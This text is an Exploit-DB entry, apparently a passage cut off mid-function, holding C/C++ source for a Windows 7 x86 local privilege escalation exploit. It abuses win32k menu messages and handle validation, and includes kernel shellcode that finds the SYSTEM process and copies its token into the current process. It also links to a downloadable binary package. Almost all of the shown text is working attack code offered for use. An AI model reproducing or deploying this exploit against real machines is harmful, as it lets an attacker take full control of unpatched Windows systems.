Exploit-DB #47176
Description: Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation
Type: local
Platform: windows_x86
Date: 2019-07-26
Author: ShivamTrivedi

Exploit:
#include <Windows.h>
#include <iostream>

/*
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip
*/

/* PREPROCESSOR DEFINITIONS */
#define MN_SELECTITEM 0x1E5
#define MN_SELECTFIRSTVALIDITEM 0x1E7
#define MN_OPENHIERARCHY 0x01E3
#define MN_CANCELMENUS 0x1E6
#define MN_BUTTONDOWN 0x1ed
#define WM_EX_TRIGGER 0x6789
#define NtCurrentProcess() (HANDLE)-1
#define NtCurrentThread()  (HANDLE)-1
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TYPE_WINDOW 1

/* GLOBAL VARIABLES */
static BOOL		hWindowHuntDestroy = FALSE;
static BOOL		bEnterEvent = FALSE;
static BOOL		success = FALSE;
static HMENU	hMenuList[3] = { 0 };
static HWND		hWindowMain = NULL;
static HWND		hWindowHunt = NULL;
static HWND		hwndMenuList[3] = { 0 };
static PVOID	MemAddr = (PVOID)1;
static SIZE_T	MemSize = 0x1000;
static DWORD	iCount = 0;
static DWORD	release = 0;


/* Structure definition of win32k!tagWND returned by xxHMValidateHandle */
typedef struct _HEAD {
	HANDLE  h;
	DWORD   cLockObj;
} HEAD, *PHEAD;

typedef struct _THROBJHEAD {
	HEAD    head;
	PVOID   pti;
} THROBJHEAD, *PTHROBJHEAD;

typedef struct _DESKHEAD {
	PVOID   rpdesk;
	PBYTE   pSelf;
} DESKHEAD, *PDESKHEAD;

typedef struct _THRDESKHEAD {
	THROBJHEAD  thread;
	DESKHEAD    deskhead;
} THRDESKHEAD, *PTHRDESKHEAD;

/* Definition of xxHMValidateHandle */
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;

/* Defintion of NtallocateVirtualMemory */
typedef
NTSTATUS
(WINAPI *pfNtAllocateVirtualMemory) (
	HANDLE       ProcessHandle,
	PVOID       *BaseAddress,
	ULONG_PTR    ZeroBits,
	PSIZE_T      RegionSize,
	ULONG        AllocationType,
	ULONG        Protect
	);
pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


static
VOID
xxGetHMValidateHandle(VOID)
{
	HMODULE hModule = LoadLibraryA("USER32.DLL");
	PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
	PBYTE Address = NULL;
	for (INT i = 0; i < 0x30; i++)
	{
		if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
		{
			continue;
		}
		i += 2;
		if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
		{
			continue;
		}
		Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
		Address = Address + i + 5;
		pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
		break;
	}
}

static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
	return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}

static
PVOID
xxHMValidateHandle(HWND hwnd)
{
	PVOID RetAddr = NULL;
	if (!pfnHMValidateHandle)
	{
		xxGetHMValidateHandle();
	}
	if (pfnHMValidateHandle)
	{
		RetAddr = xxHMValidateHandleEx(hwnd);
	}
	return RetAddr;
}

static
BOOL
xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW)
{
	WNDCLASSEXW wc = { 0 };
	wc.cbSize = sizeof(WNDCLASSEXW);
	wc.lpfnWndProc = pfnProc;
	wc.cbWndExtra = cbWndExtra;
	wc.hInstance = GetModuleHandleA(NULL);
	wc.lpszMenuName = NULL;
	wc.lpszClassName = lpszClassName;
	return RegisterClassExW(&wc);
}

static
HWND
xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL)
{
	return CreateWindowExW(dwExStyle,
		lpszClassName,
		NULL,
		dwStyle,
		0,
		0,
		1,
		1,
		hwndParent,
		NULL,
		hInstance,
		NULL);
}

static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
	tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;

	if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
	{
		printf("Sending the MN_CANCELMENUS message\n");
		SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
		bEnterEvent = FALSE;
	}
	return CallNextHookEx(0, code, wParam, lParam);
}


static
VOID
CALLBACK
xxWindowEventProc(
	HWINEVENTHOOK hWinEventHook,
	DWORD         event,
	HWND          hwnd,
	LONG          idObject,
	LONG          idChild,
	DWORD         idEventThread,
	DWORD         dwmsEventTime
)
{
	UNREFERENCED_PARAMETER(hWinEventHook);
	UNREFERENCED_PARAMETER(event);
	UNREFERENCED_PARAMETER(idObject);
	UNREFERENCED_PARAMETER(idChild);
	UNREFERENCED_PARAMETER(idEventThread);
	UNREFERENCED_PARAMETER(dwmsEventTime);

	bEnterEvent = TRUE;
	if (iCount < ARRAYSIZE(hwndMenuList))
	{
		hwndMenuList[iCount] = hwnd;
		iCount++;
	}
	SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
	SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
	PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

__declspec(noinline) int Shellcode()
{
	__asm {
		xor eax, eax // Set EAX to 0.
		mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
											 // _KTHREAD is located at FS:[0x124]
		mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
		mov ecx, eax // Copy current process _EPROCESS structure
		mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
		SearchSystemPID:
			mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0B8h
			cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID
			mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + 0xF8], edx // Assign SYSTEM process token.
	}
}

static
LRESULT
WINAPI
xxMainWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   msg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	if (msg == 0x1234)
	{
		WORD um = 0;
		__asm
		{
			// Grab the value of the CS register and
			// save it into the variable UM.
			//int 3
			mov ax, cs
			mov um, ax
		}
		// If UM is 0x1B, this function is executing in usermode
		// code and something went wrong. Therefore output a message that
		// the exploit didn't succeed and bail.
		if (um == 0x1b)
		{
			// USER MODE
			printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
			ExitProcess(-1); // Bail as if this code is hit either the target isn't 
							 // vulnerable or something